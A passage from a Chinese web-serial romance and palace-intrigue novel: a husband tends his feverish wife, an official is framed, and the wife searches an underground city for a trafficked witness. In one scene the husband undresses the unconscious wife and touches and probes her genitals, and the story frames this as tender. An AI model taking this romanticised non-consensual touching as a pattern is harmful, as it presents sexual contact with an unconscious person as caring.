肤质是冷感的白,握住她膝盖时,手背上的青筋隐隐浮动着。 看得人一时晃神。 直到在膝盖被这只漂亮的手施力分开之际, 鹿微眠忽然从美色中抽离,惊慌失措地按住裙角,跪坐在床上死死压住, “你干什么?” 少年神色有一瞬间的迷茫, “看伤口。” 鹿微眠唇角僵硬地动了动, 这才意识到他找到了什么伤口。 以及他为什么会觉得她受伤了。 鹿微眠耳根充血发烫,“不许看。” “不是, ”她说话结结巴巴地, “那,不是什么伤口, 我没受伤。” “没受伤为什么会有血。”封行渊并不能理解她的话,以为她在骗他。 他最不喜欢别人骗他。 封行渊再度上前一步坐在床边,神色严肃地去掀她的裙边, “谁伤的你?” 鹿微眠拦住他的手,急得不知道该怎么解释,懊恼地声音黏腻,“没有人伤我, 我是来月事了。” 封行渊与她对视,试图理解失败后, “什么是月事。” 鹿微眠没想到他不懂这个。 不过仔细想来,他从小独来独往, 身边接触的也都是男人。 好像的确没有机会接触这方面的事情。 鹿微眠很难解释, 但还是尝试跟他解释了一番,“女子月事出血, 一月一次,一次七日,与月圆盈亏相关,同天地气脉相连,这是正常的。” 封行渊很难得的露出了些许懵懂神色,“每月身体都会自己受伤,流血七日不止?” 鹿微眠看他,磕磕绊绊道,“还好。” 封行渊没说话。 他从前放血一次,调养七日才可再次取血。 流血七日…… “能不出血吗?” “正常出血,说明我身体才好啊。”鹿微眠知道自己解释得一塌糊涂,可她已经尽力了。 少年看起来也很努力地在理解。 流血七日不死,身体是好。 “疼吗?” “头两日会疼,就是容易乏累,不能碰凉,不能劳身。” 流血七日,才疼两日。 封行渊想着,这小姑娘也没他以为得那般柔弱。 甚至还有点厉害。 但肯定还是有伤口,没有伤口血从哪流出来。 总要处理一下。 “那伤口在哪?我看看。” 鹿微眠窘迫非常,无奈道,“不能看的。” “为什么?” 鹿微眠实在是解释不下去了,哼哼唧唧地推搡他,“总之,我自己处理就好,你不要管了嘛。” “我真的没事,有事我肯定跟你说了。你知道的,我这么怕疼的人,受伤才不会自己忍着。” 封行渊动了动唇,鹿微眠先一步打断他,“不要问了,我好困,我们睡觉吧。” 封行渊这才噤声。 鹿微眠总算把他哄住,松了一口气。 这会儿也忘记了刚刚说的分床睡。 躺下的时候,封行渊自觉地把枕头被褥又搬到了床上。 “如果伤口疼,可以叫我。” 他身上的温度要高很多,鹿微眠听到这里,并没有拒绝。 她看了他一会儿,扭捏道,“那我能借你的手用一下吗?” 到底她伤着,少年很大方。 鹿微眠接过他的手,偷偷看了两眼。 他白皙手背上有几道疤痕,反而更添了几分说不清道不明的血性。 筋骨漂亮,掌心滚烫,指间有拿武器磨出来的薄茧。 其实鹿微眠还想摸两下。 但硬生生忍住了。 鹿微眠将他的手放在她小腹上,温热触感顺着单薄的寝衣沁入肌肤。 泛寒的小肚子稍稍舒缓了一些。 这个姿势很怪。 封行渊觉得像是他主动抱着她睡觉一般。 他独来独往惯了,很不习惯。 大抵是深夜寒凉,鹿微眠又在病中,小腹是不是抽痛。 但这疼痛并没有让她醒过来,只是本能的蜷曲身子,按住了腰腹上的暖源,汲取温暖缓解疼痛。 封行渊半梦半醒间,感觉到自己的手被一只小手胡乱地抓住,往下按。 寝裙被睡得蹭开,少年感觉到,手掌碰触到的地方不是衣裙,是女孩子细滑的小腹。 但手指触碰到的是一片布料。 他的手本就比她的大上一圈,手指偏长。 放在小腹处,很容易触碰到一些其他地方。 封行渊无意识地动了下手指,隔着布料触碰到了一片绵软。 触感像是柔软的山涧溪谷。 紧接着身侧的人发出了极细的嘤咛,身体蜷曲得更厉害了。 封行渊垂眸,能感觉到鹿微眠的异常,手掌往上挪了一下。 必定是他不小心碰到了她的伤口,弄疼她了。 他知道碰到的是什么地方。 梦里有印象。 但是他对男女阴阳之事的认知,也仅限于那两次匪夷所思的梦境。 只不过如今倒是明白了,原来她会流血的伤口跟他梦里攻击的地方一样。 每月都流血七日,这般脆弱。 难怪他在梦里,想欺负她,就会攻击这里。 想把这里弄坏。 他果然是个天生坏种。 封行渊异瞳轻闪,想通了自己梦里的行为逻辑,对于自己的恶劣行径反倒是心情愉悦。 挺有趣的。 他从前了解得似乎太少了,连这么有趣的事情都才知道。 他这个小夫人身上,似乎有很多跟这个一样有趣的事情。 鹿微眠这场病的确跟封行渊反应不一样。 但与她平日里风寒一样。 第二日她只觉得头更沉了,还有些头重脚轻,浑身发热。 按照她病中的日程,这才是要发热的前兆。 刚好月事也来了,鹿微眠有点难受,“吃一样的药,你说他怎么就好得那么快呢?” 暮云笑了,“姑爷那是从战场上下来的,身体好肯定好得快。” 鹿微眠不服气,她也没有差那么多吧…… 应该? “咱们今日就回京了,尽快找郎中看看。”暮云帮她拢好衣服,“褚姑娘不是说了吗,风寒而已,过几天就好了。” 鹿微眠点头,早膳就吃了两口,实在是没有什么胃口。 收拾着东西准备回京。 没多久,封行渊带着送她回京的马车停在了院子门口。 鹿微眠带好面纱出门时,看到院子里有几个房间房门大开,里面已经空了。 想必那几户的家眷这几日也都被送回了京城。 整个院子里只有一户还住着人。 鹿微眠认得那一户,是前几日还给她送饺饼的卫夫人。 鹿微眠一面上车,一面问着,“卫夫人还没走吗?” 她记得卫夫人有孕在身,是说要先送回的。 暮雨说着,“原本卫夫人有孕在身也该今日送回,但是听说前朝另有安排,她便也不好走。” 鹿微眠疑惑,“什么安排能安排到她身上啊?” “那肯定是对她夫婿,禁军统领卫沉有安排。具体是什么安排,昨日前来送信的人也没有直说,只带了她丈夫的信儿,让她安心养胎。” “到底她丈夫是禁军统领,眼下又是多事之秋,留得时日多了些也正常。” 鹿微眠了然地点了点头,思忖片刻道,“咱们拿来的血燕没有拆开,可以滋阴养胎,你送过去吧。” 暮雨答应着,差人去取血燕盒子。 鹿微眠上了车,看见封行渊早就已经等在这里,将她在外面与旁人的谈话听了进去,“你对谁都这般关心?” “那卫夫人给咱们送过饺饼的,”鹿微眠摆了个软枕靠在腰后,板板正正的坐好,“她人挺好的。” 封行渊戏谑着,“夫人眼里都是好人。” 鹿微眠觉得从他嘴里听来,她像个傻子,“那不一样,她真的挺好的。” 卫夫人本就是个很和善的姑娘,此番是太子筹谋,她夫婿以帝王安危为重,无辜受牵连。 前世的时候,鹿微眠就记得,卫沉好像是第一个帮封行渊说话的人。 卫沉是一个眼里容不得沙子的直肠子硬汉。劝说皇帝彻查是不是有幕后真凶,说他进山救驾时,只看见了封轸只带了七八个帮手被人围追堵截,也没看见封轸指使旁人刺杀。为何就要认定封轸谋逆,这样岂非让真凶逍遥法外。 大概是他帮封行渊说话太多,后来不知怎么的,就将卫沉和封行渊打为同党,致使皇帝对封行渊和卫沉都丧失了信任。 封轸出来后,卫沉也就出来了。 再后来……鹿微眠对卫沉的印象有些模糊。 模糊的原因大概是卫沉基本没有再出现在朝堂,和封行渊被朝廷边缘的情况应当不相上下。 此后又出了些小事,禁军统领换人。 鹿微眠叹了口气,拉了拉他的衣袖,“若是你能与她夫婿卫沉有所交集,也帮衬着他点。” 封行渊没觉得自己善良至此,“为何?” “他能帮你啊。” 前世无缘无故只占个理字,卫沉都能帮封行渊说话,可见是个正派良善之人。 在这朝中,孤立无援不长久,总要有人帮衬,有个踏实正直的朋友帮那是最好了。 鹿微眠怕自己说得太没有缘由,“她夫婿是个仁义之人,他在殿前帮你说话就知道了。” “你此番帮了他。你若遇到难处,他一定会帮你的。” “这人与人之间,都是相互的。”鹿微眠挑了个舒服的姿势,撑着腰,“你不也是这样吗?” “我在山里照顾你生病,你才那般好脾气地帮我敷肚子。”鹿微眠心里门清,“不然平日里,你哪里肯让我碰你啊。” 封行渊微顿,晃神片刻。 这是他自己都没意识到的行为缘由。 他昨日为什么没拒绝她用他很不自在的姿势睡觉。 好像确实如此。 封行渊深吸一口气,倚靠在旁边,把玩着手上指环,时不时按出机关短刃,又再度按了回去。 眸底光线忽明忽暗。 但,她是怎么知道,卫沉在前殿,说了一些有利于他的话。 封行渊再度看过去时,鹿微眠已经倚着软枕睡着了。 他盯着她看了一会儿,又缓慢地收回视线。 路途中马车颠簸途。 车轮滚过石子路时,鹿微眠睡梦中不小心撞了一下脑袋。 脑袋“翁鸣”一阵。 鹿微眠扶着额头醒过来,脑海中电光火石之间闪过一些画面。 她神思清明不少。 对了。 她是没听过卫夫人的消息。 但她听过国公千金的消息。 国公千金就是明窈,卫夫人。 好像是在一次宴会上,她听人闲谈国公千金大着肚子和离回家。 结果孕中思虑过重导致难产,一尸两命! 鹿微眠扶着额头,愣了很久的神。 爬起来的时候,才发现封行渊不知何时出去了。 马车里只有她一个人。 她原本的靠在椅背上,被人放躺了下来,身上也披了一件厚实的斗篷。 鹿微眠坐起身,正好路程走到一半,到了正午休息用膳的时间,大家都停了下来。 他们这一程回京的不止她一家,通常是几家人结伴走,用一批护送侍卫。 鹿微眠下车,看见封行渊从马上下来,不由得询问,“你怎么下来骑马了?” “哦,”封行渊打理了袖子,将袖口灰尘拍干净,“我护送这一队家眷,得下来巡察。” 听得凌一茫然环顾四周。 这巡察也没见巡察别家啊。 但鹿微眠点头,没有怀疑。 “那你今日送完我们这一队,还要回去送吗?” 封行渊回得很像那么回事,“不用了。” 鹿微眠凑近了些,“那卫夫人有人送吗?” 封行渊觉得她今日提到这个人的频率有些高,高到他心下不畅快,眉梢扬起,“卫夫人有她夫君送。” 鹿微眠察觉到他的异样情绪,“哦”了一声,也没敢继续问。 好像每次她一日之内频繁提起谁超过三次,他就开始这样了。 暮云暮雨去领膳食,安排着准备吃午膳。 他们之间的氛围很怪异的沉默了一阵子。 鹿微眠试图打破沉默,“你刚刚巡察,累不累啊?” “简单看一遍,无妨。” 鹿微眠捧着暖手炉,“我每次骑马都还挺累的,刚开始骑下来浑身酸疼。” 封行渊问着,“夫人骑马是令尊教的?” “我父亲才不会呢,是……”鹿微眠话说到一半戛然而止。 是慕青辞教的。 封行渊仿佛也意识到了什么,饶有兴致地看她,“是谁?” 鹿微眠僵硬地扯了扯唇角,“那个……歆月姐姐。” 封行渊语调拖长,“可我上次偶然听到,她也不知道你的骑射怎么学会的。” 鹿微眠咬死,“她,肯定记错了。” 封行渊又问,“射箭呢?谁教的?” 鹿微眠想哭。 好歹她和慕青辞清清白白。 但那个恶贼她完全说不出口。 鹿微眠硬着头皮开口,“也是歆月姐姐。” 封行渊不紧不慢道,“那她记性可真差,教过你的,自己都不记得。” “是吧,她记性一直挺差的。” 封行渊拖腔带调地提醒,“我好像没跟夫人说过,骗我也是要付出代价的。” “哎呀不要这样,”鹿微眠知道自己这个谎言很拙劣,“这些都不重要,都过去了,你饶过我这一次好不好。” 又撒娇。 封行渊想咬她了。 这次想咬个见血的,咬那颗红痣,咬个哭出来的。 可惜她病着,还有伤口一直在流血。 封行渊大发慈悲地放她一回。 鹿微眠就知道她的乖乖夫君一哄就好,到底也不能把她怎么样。 有恃无恐了些,开开心心地吃午膳。 但没开心多久,等晚上到封府整个人就烧了起来。 兴许是一路颠簸没有休息好,也可能是她到家非要先沐浴后再睡觉。 总归* 是入了夜高热来势汹汹。 晚上不好叫郎中,暮云赶忙用褚楚给的方子煎药,给鹿微眠喂下去。 褚楚的方子知晓鹿微眠的体质,偏温和,因此也不会见效太快。 封行渊规整好送家眷的行军队伍回院,就得到了一个烧得不省人事的小夫人。 都不用他惩罚她,她这点体格,受个凉就能把自己折腾够呛。 封行渊简单摸了一下她的脉象,确认问题不大后,也去沐浴清理。 回到房内时,顺手将鹿微眠挪到床里。 将人放下之际,封行渊蓦的感觉到了掌心异样。 他拿出手来,看见了指尖的血迹。 封行渊轻“啧”一声,心想着她今晚烧成这样,肯定是没好好处理伤口。 但处理伤势这种事,他经验丰富。 他不介意好心帮她处理。 封行渊觉得自己最近做的好事越来越多了。 他心情愉悦地想,那日后多杀几个人应当也无妨。 封行渊取了新寝裙,备了干净的棉帕,将人抱进沐浴间。 封行渊抱着软绵绵的人坐在软椅上,漂亮干净的手指拨开少女花瓣一样层层堆叠的粉白裙摆。 带着薄茧的指尖毫无预兆地碰到了那处鲜嫩柔软的“伤口”。 第28章 威胁 怀中高烧不省人事的小姑娘被触碰到敏感之处, 身体都跟着瑟缩了一下。 骨肉匀亭的双腿蜷曲着合拢,但被一只修长大手卡住,再度打开。 少年眉眼间干净至纯, 不掺杂欲,看起来颇为认真地在检查她的伤势。 眼底缓慢地浸染几分欣赏。 这处伤口被鲜血沾染,像是玫瑰花蕊。 脱离模糊梦境出现在眼前, 是意料之外的漂亮。 而他喜欢漂亮的地方。 若是没有受伤…… 封行渊想, 应该更像是她之前带回来的那团山楂水晶酥酪。 绵软又白里透红。 那她还是要尽快养好才是。 少年熟练地将她伤口鲜血擦拭干净, 还是有源源不断的鲜血流淌而出。 大抵是因为生病,血色发黑。 他仔细观察了一番, 判断着这只是表面伤口, 小心翼翼地拨开伤口缝隙,检查着里面的伤势。 这才看到花瓣之下, 一个小孔在渗血。 原来是这里。 在梦中,他使坏摧残她,也是摧残这里。 这里应当很深, 看起来是深处的伤。 少年想进一步探查伤口,净手后,刚探进去一个指尖,便冷不丁被咬住。 很奇妙, 她的伤口会动。 少年并不了解这里,怕将伤口弄得更坏, 见此只能作罢,清理好血迹。 更换新的包扎棉帕。 他一边换一边想, 连个指尖都进不去的地方…… 他却将宽于指尖数倍的东西塞满她的伤口。 他真的坏透了。 封行渊褪下她身上染脏的寝衣, 换上新的。 连同床铺一并收拾干净到他满意之后,才把人重新放回床榻间睡觉。 许是那药里本就有助眠的草药。 鹿微眠这一夜睡得天昏地暗, 不知天地为何物,第二天醒来也是晌午时分。 醒过来身上发了汗倒是轻快不少。 鹿微眠爬起来,习惯性地挪了挪位置,看见床榻上没有被自己弄脏才松了一口气。 她开开心心地起身。 真好。 以往她睡觉不老实,总会弄脏床。 这回倒是没有。 鹿微眠下床隐约觉得身上不对劲,这身寝衣好像不是她睡前穿的那件。 难道是她记错了。 鹿微眠摩挲着跑去隔间更衣时,天都塌了。 她高烧刚清醒,在某一瞬间怀疑这是自己干的,但这月事布是怎么被她穿成这样的? 不对,这根本不是月事布。 这是受伤包扎用的棉帕! 鹿微眠脑袋有一瞬间的空白,手忙脚乱的解开。 包扎得甚至还很规整漂亮、干净整洁,就是有点复杂,解起来很费劲。 解着解着她就越来越肯定,这绝对不是她自己弄的。 甚至应该不是个女孩子弄得。 她屋里可以近身的男人——只有一个。 鹿微眠快昏过去了。 她不敢过多深思昨晚封行渊帮她处理的细节。 也有点不敢见人。 主要还是不敢见封行渊。 不过好在,封行渊正好被皇帝安排去监察刺杀案件,一连几日都不得空回来。 在上林苑行宫避难的家眷被接连送回京城,围猎刺杀的消息在城中不胫而走,传得沸沸扬扬。 长安城北衙殿前司内的禁军侍卫来来往往。 卫沉迟迟等不到抓获贾琏的消息,只能翻着着手中的审阅文书,看得焦头烂额。 他转头看见封行渊手里翻阅着一本书籍。 那本书籍,封行渊已经看了好几日了。 卫沉不由得问,“封大人近来是在看什么?” 封行渊言简意赅地回,“医书。” “医书?”这倒是让卫沉没有想到,“封大人可是围猎伤着了?” “夫人伤着了。” 卫沉恍然,“令夫人受伤了啊。前些时日她还送了内人血燕,内人近来还与我说要如何谢她。” 封行渊看得正入神,“不急,等你们忙完了再谢她。” 卫沉插不上话,也只能再度看向手里的文书。 封行渊点着书卷一页。 原来这一月一次的经血,要流到半百之年。 早晚、多少、色泽都有讲究。 除此之外,还有讲述男子阳性经血的内容。 封行渊缓慢翻动着医书,看到了夫妻交-合,阴血至,阳-精冲,乃阴阳调和。 刚巧在这时,屋外传来一个禁军侍卫的喜报,“大人!抓到贾琏了!” 卫沉闻言立马起身,“当真?!” 侍卫点头,“千真万确!” 卫沉几步出了房门,封行渊这才将手里的书卷放下,不紧不慢地起身跟了出去。 贾琏被捕后,很快关进了刑房内。 整个人有气无力、显然是躲了很久的追杀,显得蓬头垢面。 殿前司的禁军侍卫忙前忙后,将审讯用的桌椅搬到刑房。 封行渊进门的时候,屋内只有卫沉带着他的亲信随从,在审问贾琏。 “我出现在那,还能有什么原因,无非是太子殿下计划谋逆。”贾琏扬眉,“你满意了吗?” 一旁审讯侍卫一鞭子抽了过去,“谁满意了?问你什么你答什么!” 贾琏瞥了旁边人一眼。 封行渊撩起衣袍坐下来,隔了一段距离看着他们审讯。 贾琏倒是异常配合,一五一十地讲出来一个非常契合卫沉预想的答案。 太子筹谋刺杀帝王,买通刺客里应外合,以登基称帝。 只不过这个答案过于满足卫沉的理想。 理想到,封行渊一听就是假的。 因为事实上,太子最早计划的不是谋逆,而是除掉他。 贾琏为什么要说出一个满足卫沉预想,但与事实不符的答案。 封行渊靠坐在座椅上,手指有一下没一下地敲打在座椅扶手上。 不知不觉,卫沉已经结束了审问,转头看封行渊,“封大人,结束了。” 封行渊在原地坐了很久,“不再问问?” 贾琏声音沙哑,“你们想问的,我不都说了吗?” “就算再怎么问,也是这些东西。” 封行渊没有再坚持,跟着卫沉起身出门。 贾琏看着他们离开,眼前的光线随着刑房大门关上而变暗。 他冷嗤一声,眼底红血丝愈重。 次日,皇帝得知消息亲临审讯。 卫沉将前一日的审讯记录交付上去。 皇帝越看脸色越沉,但相比之下反应仍然镇定无比,嗓音不怒自威,“将那个逆贼带上来,朕要亲自审讯。” “再去把那个逆子也押来。” 卫沉应声,将关押的贾琏带上大堂。 另派人去叫太子。 谁料贾琏看见皇帝,立马激动了起来,“陛下!陛下您来了!您救救卑职!” 皇帝凝眉,不动声色地看着他,“你在审讯中既承认了自己谋逆犯上,如何敢叫朕来救你。” 贾琏跪行几步,“陛下!卑职不得不这么说啊,不这么说,卫大人要杀了我啊!” 卫沉闻言一愣,“你……” 封行渊站在旁边,安静地看向贾琏。 “陛下!”卫沉转身,朝皇帝行礼,“臣办案遵规守纪,绝无刑讯逼供威胁之事。” “若我不按卫大人所说,卑职都活不到今日来见您!那些证词都是假的!” 贾琏高喊着,“陛下!卑职两月前就犯了错离开了东宫,根本就没有前去什么围猎之处,在民间生活的好好的,突然被卫大人围追堵截,搅得不得安生。” “卑职一被抓住,就被刺成重伤,告知卑职该如何举证太子殿下。” “可太子殿下为人良善啊,虽然卑职是被殿下赶了出来,与殿下是有些过节,但如此诬蔑殿下,卑职良心过不去。不得已才假意服从,等待时机。”贾琏扯开自己的衣襟,“您瞧,这些都是卫大人命人捅出来的新伤,大可以查验受伤时辰。” 此话一出,大堂内外一片死寂。 卫沉憋得脸颊涨红,“你血口喷人!” 皇帝抬手,示意随行御医上前查验。 检查过后回禀,“殿下,这确是两日左右的新伤。” 封行渊抱剑靠在旁边,看着这一幕。 “陛下验过,如此可信了吧。”贾琏痛哭流涕,与昨日刑讯逼供的淡然截然相反,一看便知,他被捕已经是慕青辞有预谋的计策。 皇帝复而问封行渊,“你昨日听审,可听出什么异常。” “没有。”封行渊如实道,“昨日贾琏受审很配合,自己就交代了太子谋逆。” 贾琏忙道,“那都是被逼的啊,封大人!” “我被捅成这样带回来,当着你监察的面,如何敢说别的。” 卫沉摇头,立马行大礼,“陛下!” 皇帝再度开口打断了卫沉的话,继续问贾琏,“那他为何要引你这般说辞?” “诬蔑太子殿下谋逆实在是愚蠢至极,太子殿下已是太子,因何要枉顾父子人伦谋逆犯上?那必定是要掩盖真正想要谋逆犯上的人。” 卫沉急得出声,“你的意思是,我要谋逆犯上吗?我又是为何?” “你未必想要谋逆犯上,但兴许,你帮谁作乱也不是没有可能。”贾琏牢牢盯着他,“可别忘了,朝中前不久就有人通敌叛国,卖掉机密图纸。哪怕不是谋逆,企图挑拨陛下与太子的父子关系,动摇我朝根基也是可能的很。” “你胡说八道!”卫沉转向皇帝,“陛下!臣行事光明磊落,臣也绝无动摇朝廷根基的贼心,请陛下明察!” 封行渊听出来了。 如今这是太子想要拉他下水不成,选择拉卫沉垫脚,泼脏卫沉脱身。 正好这时,慕青辞被人送进殿中。 有人与他说了事情来龙去脉,他神色没有丝毫波动,坦然无比,“儿臣也恳请父皇明察,还儿臣清白。” 这两人跪在殿前,皇帝许久没有说话。 再开口时,叫了封行渊,“封轸,此事你与大理寺继续探查,是他们两人中的谁,还是另有旁人,半月之内,给朕结果。” 说完,他将审讯文书扔在一旁,起身离开。 仿佛看了一场没有结果的闹剧。 封行渊应了一声,拿过皇帝留下的审讯文书。 慕青辞看着这事情最终还是落到了封行渊手中,是对他最不利的结果。 他看着卫沉离开,缓步跟了上去,走到屋外才叫住卫沉,“卫大人。” 卫沉碍于他太子的身份,还是不得不停下,“殿下因何要如此算计我?!” “臣与殿下向来无冤无仇!” “孤为何要算计你?当日孤明明是去救驾,你偏要咬死孤计划谋逆,挑拨父子君臣关系,”慕青辞直视着卫沉的眼睛,“若是你做的,你还是尽早招认了吧。” 这事情如果放在从前,卫沉怕会信他无辜。 只是贾琏摆了他一道,就让他清楚的知道,慕青辞一定不无辜! 如今事发,是想要让他背负罪名。 “臣没做的事情,臣不会招认。”卫沉转头要走。 忽然被慕青辞叫住,“孤记得,你夫人月份大了,还有几月就要临盆。” 一股恶寒瞬间从头顶灌入。 卫沉脚步如同千斤重,怎么也走不动,“你要干什么?!” “不干什么,”慕青辞上前,轻拍他肩膀,“叫令夫人好生休息,别为这种事劳心伤神,再动了胎气。” 慕青辞又补了一句,“你也让她少费点心。” 慕青辞被人护送离开。 卫沉站在原地,久久没有回神。 封行渊安排着人将他们分别看押起来。 想着鹿微眠的话,倒是给了卫沉一个能回家的便利,只不过需要他的人随时跟随。 处理好一切,已经时至深夜。 贾琏仍旧关在刑房。 夜过子时,刑房房门突然被打开。 贾琏昏昏欲睡中睁开眼睛,看见了进来的人影。 是封行渊。 “好久不见。” 贾琏冷笑,“封大人如今飞黄腾达了,还记得小人?” “当然,”封行渊走上前,“毕竟曾经一同在东宫呆了数年。” “看在你与我也无大恩怨的份上,我好心劝你一句,尽早说实话,我还能勉强留你一命。” “我说的都是实话……” 封行渊打断他,“你该不会真的相信,慕青辞会记着你这次的功劳,给你好处吧。” 贾琏盯着封行渊,“殿下他待我一向很好!你这等没有良心的灾星,如何能懂。” 封行渊走到他面前,笑起来露出一口瓷白的牙,如同猛兽露出獠牙,“我们打个赌吧。” “我输了,你跟太子做你的大官。” “我赢了,你把你的灵魂,交给我。” 贾琏扬眉,“好啊,赌什么?” 封行渊打开了他的锁链,“赌人性。” “赌他慕青辞,还会不会容你活下去。” * 围猎结束后的京城都显得动荡不安。 封府同样,鹿微眠头两日养病还没有觉察出什么来。 后两日出门走动,才看见府中时常出入不同的郎中,隔壁院内也传出些异样的响动。 鹿微眠差钧宜去打听了一番。 回来得知,“六姑娘被山里的毒虫咬了,整张脸都红肿溃烂,不能见人了。” “什么虫这么厉害啊。” “听说是飞蚂蚁,”钧宜知道这种虫子,“但寻常也不总是往脸上飞啊,也不知道她怎么弄得。” 鹿微眠心想他们围猎的时候住的也不远。 封芙安被咬成那样,她听来还是有些后怕。 “二夫人原本是想着今年年底把六姑娘亲事定下来的,眼下是说不了亲了。” 钧宜压低了声音,“我刚才从那边院子路过,听着那六姑娘前日上吊自尽过一回了,还好被人救下的早。那边院子都乱成一锅粥了。” 鹿微眠按了按心口,抚平这消息带来的不安,“眼下京城都乱成一锅粥了。” 她倒是没什么心思管封芙安如何,那一场流乱刺杀的事情更为麻烦。 不过这么看来,应当不会像是前世一样,再怀疑封行渊,将他抓起来严刑拷打了。 鹿微眠觉得事态也算是在好转。 她正想着,暮云从院外跑进来,“姑娘,家里送来的消息。” “周喆自尽后,从前一直跟着他的小妾有眉目了,名叫青荷。在周喆最后回来那次筹钱,就已经把她发卖了。”暮云递过来一张票子,“这是那个人牙子给的票子。” 鹿微眠接过来,展开细看。 日子不远,就是前阵子的事。 “只不过没有写发卖的地方,老爷送来问问你或者姑爷会不会知道。” 是没有写地方。 但是鹿微眠看到了纸张一角,按着的红色城门图案。 那是帝台城。 鹿微眠蓦的想到,那日她第一次去帝台城时,有人问她要不要看货。 那货物是人,虽然给她看的是男人,但有男人也会有女人。 鹿微眠沉默良久,将票据折起来,“我知道在哪。” * 帝台城大开城门当晚,夜色深重。 但丝毫不影响地下城内纸迷金醉的绚烂光景。 鹿微眠寻着票据的信息,站定在一处红楼前,看着牌匾上的大字,“春满园”。 这处园子很是气派,高贵典雅,楼宇如山峰层峦叠嶂,深秋时节仍然繁花遍地。 像是一座永春仙都。 鹿微眠提步正要进去,忽然被身侧钧宜拦下。 钧宜小声道,“夫人,这好像是青楼。” “青楼?”鹿微眠没想到,她再度看向眼前的楼宇。 大抵是看他们在外面停留了过长的时间,里面一个穿着素雅的女子上前相迎。 “这位夫人可要进来瞧瞧?” 鹿微眠停顿了下,还是跟了进去。 眼前的女子衣着齐整,并不张扬艳丽,与城内的秦楼楚馆很不一样。 进门能嗅到屋内点的沉木香气,不甜腻反倒很是令人舒心。 女子递给她一张面具,掀开珠帘,引她进去,“夫人先坐。” 鹿微眠越过玄关,看见楼宇内正在进行的一场盛大的歌舞。 七层高楼上的看客,多半都带着面具遮掩身份。 鹿微眠开门见山道,“我今日来这里,找一位名叫青荷的聋哑姑娘。” “应当是不久前刚刚发卖进来。” “这个啊。”女子面露难色,“这姑娘才刚送进来,我们花了不少银子,都还没调-教好接客。这里里外外的本金……” “我买下她,价钱随你们开。” 这里都是生意人,听到开价便松了口,“那姑娘先随我来。” 鹿微眠跟上去。 女子带鹿微眠去了后院。 后院是些僻静的小阁楼。 有些名门望族之人怕寻欢作乐被人撞见,或者被破坏氛围,都会选择后院阁楼。 女子安排鹿微眠进了房间,就去隔壁叫青荷。 鹿微眠刚坐下,隔壁忽然传来一声女子尖叫。 钧宜率先反应过来,冲到了隔壁,进门看见青荷歪倒在地毯上,唇角毒血溢出。 整个人昏迷不醒,看起来中毒有一阵了。 钧宜试了试她的颈脉,“夫人,还有气。” 鹿微眠跑上前,翻出一瓶解毒药,先喂进了青荷口中。 一旁带路的女子吓得跑了出去,边跑边叫人。 这回连赎金都顾不得要,只求他们赶紧把人带走,以免招惹杀身之祸。 帝台城七日才开一次。 青荷被送进来没几日,周喆自尽灭口也不过围猎那阵子的事情,想来是有人等这次开城灭口,等了一段时间了。 鹿微眠买下个箱子和几个搬东西的壮劳力。 帝台城时常有人采买过后需要用箱子,搬运出去,因而也没有人察觉到异常。 鹿微眠跟着他们准备出去。 走到半路,忽然瞥见了一个熟悉的身影。 鹿微眠停了下来。 大概是那人曾经常在慕青辞身边让她眼熟的缘故,可能是这会儿他浑身鲜血跌跌撞撞地来到八角楼前敲门。 也或许,是因为那人敲的是揽星阁的门! 贾琏为什么会来这里? 跟那个人做交易吗? 鹿微眠凝眉。 钧宜注意到她停下来,转头折返回来,“夫人怎么了?” “你们先走,在渡口等我。” 鹿微眠说完,朝着揽星阁的方向走了过去。 她还记得上一回,那个男伶跟她讲述揽星阁的事情。 那次她就想来看,但没敢进去。 这里到底是不是和前世那个将她囚于深宫的人有关。 这个地方,或许是她当下唯一能够接近线索的地方。 贾琏踏进揽星阁,大门“呼啦”一声关上。 他伸手草草擦了擦唇角的鲜血,扶着揽星阁的螺旋长梯,步履蹒跚地走上去。 直至门窗大开的顶层。 少年就坐在那里,从容道,“恭候多时。” 他身后就是帝台城血色天空,城中半空中,挂着一轮助兴的“圆月”,每至深夜也被沾染成血色。 与封行渊眼底血痣相得益彰,漂亮而妖冶。 贾琏浑身上下都是鲜血,唯独脸上没有血色。 声音粗哑,“你赢了。” 他兴冲冲地从殿前司出来,通过密道回去找慕青辞时。 就被埋伏在密道周围的暗卫冲上来绞杀。 大概是封行渊的话给了他心理准备,让他再乱剑中拼死留下一口气。 “我与殿下自幼一同长大,为他肝脑涂地,两肋插刀。他说视我为兄弟手足,日后会给我一个好前程,让我做骠骑大将,”贾琏轻笑出声,鲜血顺着他捂住胸口的手滴落在地板上,“如今连活路都不想给我。” 封行渊看着他,悠然自得的像一个旁观者。 旁观众生为自己的执念而苦苦挣扎的样子。 “把灵魂交给我之前,我可以满足你的欲望,你想要什么。” “我要权势,我要他慕青辞欠我的一切,要能让他尝到代价的权力,你能给我吗?” 封行渊扬眉,“当然。” 他动都没有动一下,“但灵魂不受自己控制,这些东西还有意义吗?” 贾琏与那双血色异瞳对视,“你就说能不能给我。” 封行渊也不再问,“我是怕你后悔。” “摄魂术成,后悔的灵魂想要脱离我的掌控……”少年音调拖长,唇角露出恶劣的笑,“会死。” “能得到这些,你让我做什么都可以。” “好。” 肯答应跟他交易的人,都一样。 贪婪的赌徒,即便被告知后果,依然觉得自己可以一本万利。 封行渊黑瞳半阖,正要说什么。 忽然一股冷风震荡,吹得周围风铃叮当作响。 楼下大门被人毫无预兆地推开! 封行渊莫名在空气中,闻到了熟悉的茉莉花香。 他唇角带起一抹兴味十足的笑。 夫人来了。 第29章 恶劣 鹿微眠还是怕。 她站在门口, 往里看只看到了深不见底的阁楼高塔。 太黑了。 一向是怕黑的鹿微眠正犹豫着要不要往里走时。 屋内壁灯瞬间点燃,一路延伸到顶层! 火光接连亮起时,鹿微眠惊得屏气, 她在某一刻开始怀疑这座楼是活的,能读懂她的想法。 阁楼深处的灯火摇曳着,仿佛不断引诱着她靠近、深入。 鹿微眠鬼使神差地往里走了几步。 几乎是她进门的一瞬间, 大门又“呼啦”一声关上。 鹿微眠单薄的身子抖了一下, 在火光之下, 看见了满地的血迹,从地板上蔓延到了一旁的螺旋楼梯。 这里像是会吃人。 鹿微眠抿唇, 试探性地问了一句, “有人吗?” 楼上传来了走下楼梯的脚步声,大概是见她迟迟不肯上去, 所以选择下来。 “这位夫人想要交易点什么?” 这声音全然陌生,又被阁楼内空荡的回音模糊,有些空灵悠远。 从头顶传来, 反倒令人不寒而栗。 鹿微眠站定,轻攥了攥垂在身侧的手指,“你们这里,有什么可以交易的?” “什么都可以。来之前, 夫人应当听说过这里的规矩才对。” “你想要的,我都可以满足你。” 